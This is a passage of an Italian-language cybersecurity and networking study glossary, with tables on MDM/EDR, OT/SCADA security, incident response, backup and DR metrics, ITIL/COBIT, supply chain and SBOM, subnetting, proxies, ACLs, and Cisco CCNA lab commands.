| MDM | L'intero dispositivo | Configurazione remota, VPN forzata, cifratura disco, blocco/wipe remoto, tracciamento |
| MAM | Solo le app aziendali (contenitore) | Gestione app, isolamento dati aziendali da personali, policy per singola app |
Funzionalità di sicurezza MDM:
- Remote wipe: cancellazione da remoto di tutti i dati in caso di smarrimento o furto
- Jailbreak/root detection: blocca l'accesso ai dati aziendali se il dispositivo è compromesso
- Policy enforcement: impone PIN minimo, cifratura, blocco screenshot nelle app aziendali
- App whitelist/blacklist: controlla quali applicazioni possono essere installate
- Containerization: separa lo spazio di lavoro aziendale da quello personale (approccio BYOD)
| Piattaforma MDM | Vendor | Caratteristica principale |
|---|---|---|
| Microsoft Intune | Microsoft | Integrazione nativa con Azure AD e Microsoft 365 |
| VMware Workspace ONE | VMware/Broadcom | Gestione unificata endpoint (PC + mobile) |
| IBM MaaS360 | IBM | AI-driven security, analisi comportamentale |
EDR è la generazione successiva all'antivirus tradizionale. Invece di cercare solo firme note di malware, un agente EDR monitora continuamente il comportamento del sistema — processi, connessioni di rete, accessi al filesystem, chiamate di sistema — e rileva anomalie che indicano un attacco in corso, anche se il malware è sconosciuto (zero-day).
| Capacità | Antivirus tradizionale | EDR |
|---|---|---|
| Rilevamento | Firme note | Comportamento + firme + ML |
| Risposta | Quarantena file | Isolamento host, kill process, rollback |
| Visibilità | File system | Processi, rete, registry, memoria |
| Threat hunting | ❌ | ✔ Ricerca proattiva di IoC |
| Forense | Minima | Timeline completa degli eventi |
XDR (Extended Detection and Response) amplia EDR integrando endpoint, rete, email, cloud in un'unica piattaforma di rilevamento correlato.
BYOD e rischi specifici: un dispositivo personale (BYOD) che accede alla rete aziendale senza agente EDR è un punto cieco — non monitorato, non conforme, non gestibile in caso di compromissione. Soluzioni: NAC (Network Access Control) per bloccare l'accesso se non conforme, o MAM per isolare i dati aziendali.
ICS / OT / SCADA
L'IT (Information Technology) gestisce dati e informazioni. L'OT (Operational Technology) controlla processi fisici — macchinari, impianti, infrastrutture critiche.
| Caratteristica | IT | OT |
|---|---|---|
| Priorità CIA | Confidenzialità → Integrità → Disponibilità | Disponibilità → Integrità → Confidenzialità |
| Ciclo di vita sistemi | 3–5 anni | 15–30 anni |
| Aggiornamenti | Frequenti, automatici | Rari, pianificati, spesso impossibili |
| Downtime tollerato | Ore/giorni accettabili | Intollerabile (rischio fisico) |
| Protocolli | TCP/IP, HTTP, TLS | Modbus, DNP3, PROFINET, OPC-UA |
| Testing sicurezza | Pentest consentito | Pentest pericoloso — può bloccare impianto |
| Sistema | Acronimo | Funzione | Esempio |
|---|---|---|---|
| SCADA | Supervisory Control and Data Acquisition | Supervisione e controllo remoto su aree geografiche vaste | Rete elettrica, gasdotti, acquedotti |
| DCS | Distributed Control System | Controllo distribuito di processi continui in impianti | Raffinerie, centrali elettriche, industria chimica |
| PLC | Programmable Logic Controller | Controllo locale di macchinari e processi discreti | Linee di produzione, robot industriali |
| HMI | Human-Machine Interface | Interfaccia operatore per visualizzare e comandare | Pannello di controllo operatore |
| RTU | Remote Terminal Unit | Acquisizione dati da sensori remoti | Stazioni di monitoraggio pipeline |
Architettura tipica SCADA: Sensori/attuatori → RTU/PLC → Rete OT → Server SCADA → HMI operatore → (eventuale) collegamento IT aziendale.
| Vettore | Descrizione | Esempio reale |
|---|---|---|
| Air gap violato | USB infetta portata da operatore in zona isolata | Stuxnet — diffusione via USB |
| Accesso remoto insicuro | VPN o RDP esposti per manutenzione fornitori | Oldsmar water plant (2021) |
| Convergenza IT/OT | Collegamento rete IT ad OT senza segmentazione | Colonial Pipeline (2021) |
| Firmware non patchato | PLC con vulnerabilità note e non aggiornabili | CVE nei PLC Siemens S7 |
| Protocolli legacy insicuri | Modbus/DNP3 senza autenticazione né cifratura | Sniffing e replay attack |
Standard internazionale per la sicurezza dei sistemi di automazione e controllo industriale (IACS). Equivalente dell'ISO 27001 per il mondo OT.
| Serie | Titolo | Contenuto |
|---|---|---|
| 62443-1 | General | Terminologia, concetti, modelli |
| 62443-2 | Policies & Procedures | Requisiti per owner e operatori di impianti |
| 62443-3 | System | Security Level (SL 1-4), zone e conduit |
| 62443-4 | Component | Requisiti per produttori di componenti OT |
Security Level (SL): SL1 (protezione casuale) → SL2 (attaccante intenzionale, risorse limitate) → SL3 (attaccante sofisticato) → SL4 (nation-state).
Complementare: NIST SP 800-82 — guida americana per la sicurezza dei sistemi ICS/SCADA.
Incident Management
| # | Fase | Attività principali |
|---|---|---|
| 1 | Preparation | Policy, procedure, team IR, playbook, strumenti, training |
| 2 | Detection & Analysis | Identificazione incidente, triage, classificazione severità |
| 3 | Containment | Isolare sistemi compromessi (short-term), preservare prove |
| 4 | Eradication | Rimuovere malware, chiudere vettori d'accesso, patch |
| 5 | Recovery | Ripristino sistemi, verifica funzionalità, monitoraggio intensivo |
| 6 | Post-incident (Lessons Learned) | Report, root cause analysis, miglioramenti |
Disciplina che raccoglie, preserva e analizza le prove digitali mantenendo la chain of custody (catena di custodia) per uso legale.
- Ordine di volatilità: raccogliere prima le prove più volatili (RAM → processi → connessioni → log → disco)
- Imaging forense: copia bit-per-bit del disco con hash MD5/SHA256 per verificare integrità
- Analisi artefatti: registry Windows, prefetch, log eventi, timestamp MACB (Modified, Accessed, Changed, Born)
- Timeline analysis: ricostruzione cronologica degli eventi
- Strumenti: Autopsy, FTK, Volatility (RAM), Sleuth Kit
Piattaforma che raccoglie, normalizza e correla log da tutta l'infrastruttura per rilevare minacce in tempo reale e supportare le indagini forensi.
| Funzione | Descrizione |
|---|---|
| Log aggregation | Raccolta centralizzata da firewall, IDS, server, endpoint |
| Normalization | Formato comune per log eterogenei |
| Correlation | Regole che collegano eventi multipli → rilevamento attacchi complessi |
| Alerting | Notifiche su eventi critici al SOC |
| Retention | Conservazione log per compliance (es. 12 mesi per NIS2) |
Esempi: Splunk, IBM QRadar, Microsoft Sentinel, Elastic SIEM, Wazuh (open source).
Business Continuity & Disaster Recovery
| Piano | Acronimo | Focus |
|---|---|---|
| Business Continuity Plan | BCP | Mantiene operativi i processi critici durante un'interruzione |
| Disaster Recovery Plan | DRP | Ripristino dei sistemi IT dopo un disastro |
| Business Impact Analysis | BIA | Identifica processi critici, stima impatto economico del downtime |
| Incident Response Plan | IRP | Risposta a incidenti di sicurezza (cyber) |
Il BCP comprende il DRP — il DRP è il sottopiano che gestisce il ripristino IT.
| Metrica | Nome completo | Definizione |
|---|---|---|
| RTO | Recovery Time Objective | Tempo massimo accettabile per ripristinare il servizio dopo un'interruzione |
| RPO | Recovery Point Objective | Quantità massima di dati che si può perdere (finestra temporale tra un backup e l'altro) |
Disastro accade alle 14:00 Ultimo backup alle 12:00 → RPO = 2 ore (si perdono 2 ore di dati) Sistemi ripristinati alle 18:00 → RTO = 4 ore
Regola 3-2-1: 3 copie dei dati · su 2 supporti diversi · di cui 1 offsite (fuori sede).
| Tipo | Cosa salva | Dimensione | Tempo ripristino |
|---|---|---|---|
| Full | Tutto | Grande | Rapido |
| Incremental | Solo modifiche dall'ultimo backup (full o incr.) | Piccola | Lento (catena) |
| Differential | Modifiche dall'ultimo full | Media | Medio |
Tecniche avanzate: mirroring (sincrono, RPO≈0) · snapshot · replicazione asincrona · backup immutabile (WORM — Write Once Read Many).
La regola 3-2-1 è lo standard minimo per una strategia di backup resiliente, raccomandata da CISA e da tutti i principali framework di sicurezza.
| Numero | Significato | Razionale |
|---|---|---|
| 3 | Almeno 3 copie totali dei dati | 1 copia = nessuna copia. 2 copie = guasto contemporaneo possibile. 3 = margine sicuro |
| 2 | Su 2 tipi di supporto diversi | Evita che un solo tipo di guasto (es. guasto controller) distrugga tutto |
| 1 | Almeno 1 copia offsite (fuori sede) | Protegge da disastri fisici: incendio, allagamento, furto, ransomware locale |
Evoluzione — Regola 3-2-1-1-0: l'aggiornamento moderno aggiunge:
- +1 copia offline/air-gapped — non raggiungibile dalla rete, immune al ransomware
- +0 errori verificati — i backup devono essere testati periodicamente. Un backup non testato è un backup che non esiste.
Tipi di backup:
| Tipo | Cosa copia | Velocità backup | Velocità ripristino |
|---|---|---|---|
| Full | Tutto | Lenta | Veloce (1 set) |
| Incrementale | Solo modifiche dall'ultimo backup (qualsiasi tipo) | Velocissima | Lenta (catena dipendente) |
| Differenziale | Tutte le modifiche dall'ultimo Full | Media | Media (Full + 1 diff) |
Asset Management
ITAM (IT Asset Management) è il processo di inventario, classificazione e gestione del ciclo di vita di tutti gli asset informatici di un'organizzazione.
ITIL (Information Technology Infrastructure Library) è il framework di best practice più diffuso per la gestione dei servizi IT. Non è uno standard certificabile come ISO 27001, ma una raccolta di pratiche organizzative.
| Processo ITIL | Descrizione | Rilevanza sicurezza |
|---|---|---|
| Configuration Management | CMDB — database di tutti gli asset e le loro relazioni | Sai cosa esiste → sai cosa proteggere |
| Change Management | Processo formale per approvare modifiche all'infrastruttura | Previene misconfiguration accidentali |
| Incident Management | Processo di risposta a interruzioni del servizio | Baseline per l'incident response di sicurezza |
| Problem Management | Analisi causa radice degli incidenti ricorrenti | Identifica vulnerabilità sistemiche |
| Patch Management | Processo di distribuzione aggiornamenti | Riduzione CVE sfruttabili |
COBIT (pubblicato da ISACA) è un framework di governance e management IT che collega gli obiettivi di business agli obiettivi IT, includendo la sicurezza come componente integrata.
| Framework | Focus | Audience |
|---|---|---|
| COBIT 2019 | IT Governance, risk, sicurezza integrata | CIO, CISO, auditor, board |
| ITIL v4 | Service management operativo | IT operations, service desk |
| ISO/IEC 19770 | Standard specifico per ITAM | Asset manager, procurement |
| ISO/IEC 27001 | Information security management | CISO, security team |
I framework sono complementari, non alternativi — un'organizzazione matura usa tutti e quattro in modo integrato.
| Fase | Attività | Rischio di sicurezza |
|---|---|---|
| Acquisizione / Procurement | Valutazione sicurezza fornitori, contratti, SLA | Supply chain compromise, backdoor hardware |
| Deployment | Hardening, inventario in CMDB, assegnazione owner | Misconfiguration, asset shadow IT |
| Operations | Patch, monitoring, backup, change management | Vulnerabilità non patchate, deriva configurazione |
| Ottimizzazione | Consolidamento, aggiornamento, TCO analysis | Asset obsoleti con vulnerabilità non supportate |
| Dismissione | Sanitizzazione dati, decommissioning sicuro | Data leakage da asset dismessi (hard disk, cloud) |
SLA & Service Management
Un SLA è un contratto formale tra fornitore di servizi e cliente che definisce il livello di servizio atteso, come viene misurato e cosa accade se non viene rispettato. È fondamentale per i contratti IT, outsourcing e cloud.
| Elemento SLA | Descrizione | Esempio |
|---|---|---|
| Obiettivi di servizio | Cosa il servizio deve fornire | Disponibilità del sistema 24/7 |
| Metriche di misurazione | Come si valuta la performance | Uptime %, tempo di risposta medio, ticket risolti entro 4h |
| Responsabilità delle parti | Chi è responsabile di cosa | Il fornitore gestisce infrastruttura; il cliente gestisce i dati |
| Livelli di servizio | Standard di qualità minimi garantiti | 99.9% uptime = max ~8.7h downtime/anno |
| Penali (SLA breach) | Conseguenze se il livello non è rispettato | Crediti, rimborsi, possibilità di recesso |
Calcolo disponibilità (Uptime SLA):
| SLA | Downtime max/anno | Downtime max/mese |
|---|---|---|
| 99% | ~87.6 ore | ~7.3 ore |
| 99.9% | ~8.76 ore | ~43.8 minuti |
| 99.99% (4 nines) | ~52.6 minuti | ~4.4 minuti |
| 99.999% (5 nines) | ~5.26 minuti | ~26.3 secondi |
| Tipo SLA | Descrizione | Esempio |
|---|---|---|
| Customer SLA | Accordo personalizzato per un cliente specifico | Contratto enterprise con tempi di supporto dedicati |
| Service SLA | Stesso standard per tutti i clienti di un servizio | SLA standard di AWS per EC2 |
| Multilevel SLA | Livelli differenziati (corporate, dipartimento, servizio) | SLA diversi per IT interno vs clienti esterni |
SLA e cybersecurity: gli SLA devono includere clausole specifiche di sicurezza:
- Incident notification: il fornitore deve notificare entro X ore (allineato con NIS2: 24h Early Warning)
- Data breach notification: obbligatorio entro 72h per GDPR
- Penetration test rights: il cliente ha diritto ad audit di sicurezza periodici
- Data location: dove fisicamente risiedono i dati (rilevante per GDPR)
- Exit strategy: come vengono restituiti e cancellati i dati alla fine del contratto
Supply Chain Security
La supply chain di sicurezza riguarda i rischi introdotti da fornitori, partner, software di terze parti e hardware — qualsiasi elemento esterno che entra nell'ecosistema dell'organizzazione.
| Vettore | Descrizione | Esempio reale |
|---|---|---|
| Software supply chain | Aggiornamento software legittimo contenente backdoor | SolarWinds (2020) — 18.000 organizzazioni compromesse |
| Dependency confusion | Pacchetto npm/pip malevolo con nome simile a package interno | Attacchi su PyPI e npm 2021-2022 |
| Hardware compromesso | Chip o dispositivo con backdoor installata in fabbrica | Allegazioni Bloomberg "Big Hack" (supermicro) |
| Fornitore compromesso | Accesso a sistemi del cliente via credenziali fornitore | Target breach (2013) — via HVAC contractor |
| Open source malevolo | Maintainer inserisce codice malevolo in libreria popolare | event-stream npm (2018), XZ Utils (2024) |
| Framework/Standard | Ambito | Contenuto |
|---|---|---|
| ISO 28000 | Supply chain fisiche e logistiche | ISMS specifico per la catena di fornitura — risk assessment fornitori, sicurezza trasporti |
| NIST SP 800-161 | ICT supply chain risk management | Pratiche per gestire i rischi ICT nella catena di approvvigionamento |
| C-TPAT | Commercio internazionale USA | Customs-Trade Partnership Against Terrorism — requisiti sicurezza doganale |
| SLSA | Software supply chain | Supply-chain Levels for Software Artifacts — framework Google per integrità build |
Vendor Risk Management (VRM) — processo di valutazione continua dei fornitori:
- Inventario fornitori con classificazione per criticità e accesso
- Questionari di sicurezza (es. SIG, CAIQ per cloud)
- Audit periodici on-site o documentali
- Clausole contrattuali (diritto di audit, SLA sicurezza, breach notification)
- Monitoraggio continuo (scoring automatico, news monitoring)
Un SBOM è un inventario formale e strutturato di tutti i componenti, librerie e dipendenze che compongono un'applicazione software — l'"etichetta degli ingredienti" del software.
- Permette di sapere immediatamente se un'applicazione usa una libreria con CVE appena scoperta (es. Log4Shell)
- Richiesto dalla Executive Order USA 14028 (2021) per software venduto al governo americano
- Formato standard: SPDX (Linux Foundation) o CycloneDX (OWASP)
| Senza SBOM | Con SBOM |
|---|---|
| Log4Shell scoperta → settimane per capire quali sistemi usano Log4j | Log4Shell scoperta → risposta in ore — SBOM dà subito la lista |
| Audit dipendenze manuale e incompleto | Inventario automatico, aggiornato ad ogni build |
Nuove Tecnologie & Rischi Cyber
Una tecnologia dirompente (disruptive) è una tecnologia che trasforma radicalmente un settore, rendendo obsoleti i prodotti o modelli esistenti.
Il concetto nasce dalla teoria della "distruzione creatrice" di Joseph Schumpeter (1942): il capitalismo avanza attraverso cicli di innovazione in cui le nuove tecnologie distruggono quelle vecchie creando nuovo valore.
| Caratteristica | Descrizione |
|---|---|
| Performance iniziale inferiore | All'inizio peggiore delle soluzioni esistenti su metriche tradizionali |
| Nuovo mercato o segmento | Serve prima utenti marginali o crea mercati inesistenti |
| Miglioramento rapido | Evolve velocemente fino a superare il mainstream |
| Abbassamento barriere | Rende accessibile ciò che prima era costoso o complesso |
Esempi nel contesto cyber:
- Cloud computing → ha reso obsoleto l'hosting on-premise, creando nuovi rischi (misconfiguration, shared responsibility)
- AI/ML → abbassa la barriera per condurre attacchi sofisticati (phishing personalizzato, exploit automatizzato)
- IoT → miliardi di dispositivi connessi con sicurezza spesso inesistente → botnet Mirai
- Blockchain → elimina intermediari ma introduce nuovi vettori (smart contract, chiavi private)
- Edge computing → elaborazione distribuita → superficie di attacco distribuita
L'AI è un moltiplicatore di forza sia per i difensori che per gli attaccanti. Abbassa la barriera tecnica per condurre attacchi sofisticati.
| AI usata dagli ATTACCANTI | Descrizione |
|---|---|
| Phishing generativo | LLM genera email personalizzate, grammaticalmente perfette, in qualsiasi lingua |
| Deepfake | Voce/video sintetici per impersonare CEO o autorità (Business Email Compromise) |
| Fuzzing automatizzato | AI trova vulnerabilità 0-day molto più velocemente del fuzzing tradizionale |
| Evasione AV/EDR | AI genera varianti di malware che sfuggono ai sistemi signature-based |
| Attacchi adversarial | Input manipolati per ingannare modelli AI (es. immagini che bypassano riconoscimento facciale) |
| AI usata dai DIFENSORI | Descrizione |
|---|---|
| UEBA | User and Entity Behavior Analytics — rileva anomalie comportamentali |
| SOAR | Security Orchestration, Automation and Response — automatizza risposta incidenti |
| Threat hunting | ML identifica pattern di attacco non noti nelle telemetrie |
| Analisi malware | Classificazione automatica di sample tramite ML |
L'edge computing sposta l'elaborazione dati vicino alla fonte (sensori, dispositivi IoT, utenti) invece che nel cloud centrale. Riduce latenza ma distribuisce la superficie di attacco.
| Rischio | Descrizione | Contromisura |
|---|---|---|
| Superficie distribuita | Migliaia di nodi edge fisicamente accessibili | Tamper detection, cifratura storage locale |
| Patch management difficile | Aggiornare migliaia di edge node è complesso | Orchestrazione centralizzata (Kubernetes, edge fleet) |
| Dati sensibili in periferia | Dati processati localmente senza protezioni enterprise | Cifratura at-rest, TLS, data minimization |
| Supply chain hardware | Hardware compromesso prima della consegna | Secure boot, attestazione hardware (TPM) |
| Connettività intermittente | Nodi offline non ricevono aggiornamenti/alert | Local IDS, offline-capable security policy |
Campi di impiego: smart factory, veicoli autonomi, telemedicina, smart city, retail analytics.
La blockchain è un registro distribuito, immutabile e crittograficamente sicuro. Ma non è intrinsecamente sicura — la sicurezza dipende dall'implementazione.
| Proprietà di sicurezza | Come è garantita |
|---|---|
| Immutabilità | Ogni blocco contiene l'hash del precedente — modificare un blocco invalida tutta la catena |
| Trasparenza | Blockchain pubbliche (Bitcoin, Ethereum) — tutti vedono tutte le transazioni |
| Decentralizzazione | Nessun singolo punto di fallimento — consenso distribuito |
| Autenticità | Ogni transazione firmata digitalmente con chiave privata del mittente |
| Vettore di attacco | Descrizione |
|---|---|
| 51% Attack | Chi controlla >50% della potenza di calcolo può riscrivere la storia della blockchain |
| Smart contract exploit | Bug nel codice del contratto → furto fondi (The DAO hack: $60M) |
| Phishing chiavi private | La blockchain è sicura, il wallet dell'utente no — furto chiave privata = furto totale |
| Attacchi Sybil | Creazione di identità false per influenzare il consenso |
| Routing attack | BGP hijacking per isolare nodi e manipolare transazioni |
SOA & Architettura a Microservizi
L'architettura orientata ai servizi (SOA) è un approccio allo sviluppo software in cui le funzionalità sono esposte come servizi riutilizzabili e interoperabili. Ogni servizio è indipendente e comunicabile tra piattaforme diverse.
| Principio SOA | Significato |
|---|---|
| Interoperabilità | I servizi comunicano indipendentemente dal linguaggio o piattaforma sottostante |
| Accoppiamento debole | I servizi hanno dipendenze minime — modificare uno non impatta gli altri |
| Astrazione | Chi usa il servizio non conosce la logica interna — solo l'interfaccia |
| Riusabilità | Stesso servizio usato da più applicazioni aziendali diverse |
Componenti SOA: Servizio (implementazione + contratto + interfaccia) · Fornitore di servizi · Utente di servizi · Registro di servizi (directory dei servizi disponibili).
Protocolli SOA: SOAP · RESTful HTTP · gRPC · Apache ActiveMQ · JMS (Java Message Service)
I microservizi decompongono un'applicazione monolitica in una serie di servizi piccoli, autonomi e indipendentemente distribuibili. Ogni microservizio ha una responsabilità specifica e comunica via API.
| Caratteristica | Monolite | Microservizi |
|---|---|---|
| Deploy | Tutto insieme | Ogni servizio indipendentemente |
| Scalabilità | Scala tutto o niente | Scala solo il servizio sotto carico |
| Guasto | Un bug può bloccare tutto | Isolamento del guasto al singolo servizio |
| Tecnologia | Un linguaggio/framework | Libertà tecnologica per servizio |
| Complessità ops | Bassa (un deploy) | Alta (orchestrazione: Kubernetes, Docker) |
Implicazioni di sicurezza:
- Superficie d'attacco aumentata: ogni API tra microservizi è un potenziale vettore
- API Gateway: punto centralizzato di autenticazione, rate limiting e WAF per tutte le API
- Zero Trust interno: ogni microservizio deve autenticare le richieste anche da altri servizi interni
- Secrets management: ogni servizio ha le sue credenziali — usare Vault o KMS, mai hardcode
Logica Booleana
Un circuito booleano è una rete di porte logiche (gate) che implementano operazioni su bit (0/1) — il fondamento di ogni sistema digitale.
| Operatore | Simbolo | Output | Uso in cybersecurity |
|---|---|---|---|
| AND | & ∧ | 1 solo se entrambi 1 | Subnet mask, filtri ACL |
| OR | | ∨ | 1 se almeno uno è 1 | Regole firewall |
| NOT | ! ¬ | Inverte il bit | Wildcard mask Cisco |
| XOR | ^ ⊕ | 1 se sono diversi | RAID 5/6, AES, OTP |
| NAND | !(A&B) | Opposto AND | Universale: qualsiasi circuito |
| NOR | !(A|B) | Opposto OR | Universale come NAND |
La subnet mask funziona con un AND bit a bit tra IP e maschera. Il risultato è l'indirizzo di rete — la parte fissa condivisa da tutti gli host della sottorete.
IP: 192.168.1.10 → 11000000.10101000.00000001.00001010 Mask: 255.255.255.0 → 11111111.11111111.11111111.00000000 AND: ───────────────────────────────────────────────────── Net: 192.168.1.0 → 11000000.10101000.00000001.00000000 Bit mask=1 → parte RETE (fissa, uguale per tutti gli host) Bit mask=0 → parte HOST (variabile, identifica il singolo host)
Notazione CIDR — invece di scrivere la mask per esteso si conta il numero di bit a 1:
| Mask | CIDR | Host disponibili | Uso tipico |
|---|---|---|---|
| 255.0.0.0 | /8 | 16.777.214 | Classe A, reti molto grandi |
| 255.255.0.0 | /16 | 65.534 | Classe B, campus/aziende |
| 255.255.255.0 | /24 | 254 | Classe C, LAN tipica |
| 255.255.255.128 | /25 | 126 | Subnet dimezzata |
| 255.255.255.192 | /26 | 62 | Piccoli uffici |
| 255.255.255.252 | /30 | 2 | Link punto-punto |
Calcolo completo per 192.168.1.10/24:
| Elemento | Calcolo | Risultato |
|---|---|---|
| Indirizzo di rete | IP AND mask | 192.168.1.0 |
| Broadcast | Net OR (NOT mask) | 192.168.1.255 |
| Primo host | Net + 1 | 192.168.1.1 |
| Ultimo host | Broadcast − 1 | 192.168.1.254 |
| Host disponibili | 2^(32−24) − 2 | 254 |
CLI — Command Line Interface
| Comando | Funzione |
|---|---|
ip addr / ifconfig | Interfacce e IP |
ip route show | Tabella di routing |
ping / traceroute | Raggiungibilità / percorso |
nslookup / dig | Query DNS |
ss -tulpn | Porte in ascolto |
nmap <target> | Scansione porte |
tcpdump -i eth0 | Cattura pacchetti |
iptables / ufw | Firewall |
ssh user@host | Connessione remota cifrata |
scp / rsync | Copia file via SSH |
Livelli: > User · # Privileged (enable) · (config)# Global config
show ip interface brief ! stato interfacce show ip route ! routing table show running-config ! config attiva show version ! HW e versione IOS no shutdown ! attiva interfaccia ip route 10.0.0.0 255.255.0.0 192.168.1.1 ! rotta statica
no davanti a qualsiasi comando lo annulla. ? mostra l'help contestuale. Tab completa il comando.Proxy Server
Si interpone tra i client interni e Internet. Il server vede solo l'IP del proxy.
Client → [Forward Proxy] → Internet → Server
- Controllo accessi web, filtraggio contenuti, cache, logging
| Aspetto | Esplicito | Trasparente |
|---|---|---|
| Client sa del proxy | ✔ Sì | ❌ No |
| Config client | Richiesta (GPO/manuale) | Nessuna |
| Aggirabile | ✔ Sì | ❌ No (NAT a livello rete) |
| HTTPS | Nativo | Richiede SSL inspection |
| Uso tipico | Aziende, scuole | ISP, hotspot |
Davanti ai server backend. I client credono di parlare col server finale.
Client → Internet → [Reverse Proxy] → Server A
→ Server B
- Load balancing · SSL termination · Cache · WAF integrato
# nginx reverse proxy
server { listen 443 ssl; server_name miosito.com;
location / { proxy_pass http://backend; } }
upstream backend { server 192.168.1.10:8080; server 192.168.1.11:8080; }
ACL — Access Control List
Gestisce accesso a FILE e DIRECTORY. r=read, w=write, x=execute. Deny-by-default.
alice → rw- bob → r-- guest → ---
Filtra pacchetti su router/switch per IP, porta, protocollo. Standard: solo IP sorgente. Estesa: IP + porta + protocollo.
! Cisco IOS — ACL estesa numerata access-list 101 permit ip 192.168.1.0 0.0.0.255 any access-list 101 deny ip 10.0.0.0 0.255.255.255 any access-list 101 permit ip any any
Linux — Libretto completo
Il libretto Linux è un documento completo con 7 capitoli: introduzione, distribuzioni, filesystem, comandi shell, utenti e permessi, Bash scripting, networking. Ha la sua sidebar di navigazione e lo stesso stile di questo glossario.
Filesystem · Comandi shell · sed · find · Bash scripting · Permessi · SSH · nmap e molto altro.
7 capitoli · contenuto completoScript Bash sviluppati durante lo stage formativo del Progetto GOL. Terminale interattivo con esecuzione simulata, codice sorgente e documentazione.
grep · bc · tr · cut · shuf · /dev/urandom — Script di Ottavia, Marcello e Claudio.
portfolio2026-04.web.appCisco Packet Tracer & CCNA
Packet Tracer è il simulatore di rete gratuito di Cisco, fondamentale per prepararsi al CCNA. Permette di costruire topologie virtuali, configurare router e switch con la CLI IOS reale, e verificare la connettività senza hardware fisico.
- Download gratuito su netacad.com (richiede account Cisco NetAcademy)
- Supporta router, switch, hub, firewall, server, PC, wireless
- Modalità Realtime (traffico reale) e Simulation (analisi frame per frame)
- File con estensione
.pkt— salvano l'intera topologia
Le topologie più usate nei lab CCNA:
- Router-on-a-stick: un router con sotto-interfacce per routing inter-VLAN (1 cavo trunk ↔ switch)
- Three-tier: Core switch → Distribution switch → Access switch (modello enterprise Cisco)
- WAN point-to-point: due router collegati con link seriale, protocollo PPP o HDLC
- Hub-and-spoke: un router centrale (hub) collegato a più router periferici (spoke)
Esempio topologia base CCNA:
PC1 ─── SW1 ─── R1 ─── R2 ─── SW2 ─── PC2
| |
VLAN 10 VLAN 20
(192.168.10.0/24) (192.168.20.0/24)
Sequenza completa di configurazione di un router da zero:
VLAN (Virtual LAN): segmentazione logica di una rete fisica. Dispositivi sulla stessa VLAN comunicano tra loro senza router, ma tra VLAN diverse serve il routing (L3).
STP previene i loop di rete bloccando le porte ridondanti. Elegge un Root Bridge (lo switch con il Bridge ID più basso = priorità + MAC). Le altre porte diventano Root Port, Designated Port o Blocked Port.
- RSTP (802.1w): Rapid STP — convergenza in 1-2 secondi invece di 30-50s
- PVST+: Per-VLAN STP di Cisco — un'istanza STP per ogni VLAN
- PortFast: salta gli stati STP sulle porte access (PC diretti) — convergenza immediata
Assegna automaticamente IP, subnet mask, gateway e DNS ai client. Sequenza: DORA — Discover → Offer → Request → Acknowledge.
NAT traduce indirizzi IP privati in pubblici. PAT (NAT overload) usa anche le porte — permette a molti host interni di condividere un singolo IP pubblico.
ping 192.168.1.1Testa ICMP verso un host
traceroute 8.8.8.8Mappa percorso hop per hop
show ip routeTabella di routing completa
show ip interface briefStato tutte le interfacce
show interfaces Gi0/0Dettaglio interfaccia: errori, counters
show arpTabella ARP: IP ↔ MAC
show mac address-tableTabella MAC dello switch
show cdp neighborsDispositivi Cisco vicini (CDP)
debug ip ospf eventsDebug OSPF in tempo reale
debug ip ripDebug RIP in tempo reale
show ip nat translationsTraduzioni NAT attive
show vlan briefVLAN configurate e porte
| Argomento | Concetto chiave da ricordare |
|---|---|
| Subnetting | Formula: 2^n host − 2 (rete + broadcast). 2^m subnet. /30 = 2 host (point-to-point) |
| Wildcard mask | Inverso della subnet: 255.255.255.0 → 0.0.0.255 |
| OSI vs TCP/IP | TCP/IP ha 4 livelli: App (L5-7) · Trasporto (L4) · Internet (L3) · Accesso rete (L1-2) |
| STP | Root Bridge = priorità più bassa. Default: 32768. PortFast solo su porte access. |
| VLAN | Access = una VLAN · Trunk = più VLAN con tag 802.1Q · VLAN nativa = non taggata |
| NAT | Inside local = IP privato · Inside global = IP pubblico · Outside = destinazione |
| OSPF | Hello ogni 10s, Dead ogni 40s. Stessi area, hello, dead, password → diventano neighbor |
| DHCP DORA | Discover (broadcast) · Offer · Request · Acknowledge |
| CDP | Cisco Discovery Protocol: scopre automaticamente i vicini Cisco diretti (L2) |
| Sicurezza switch | Port security: limita MAC su una porta. Violazione: shutdown / restrict / protect |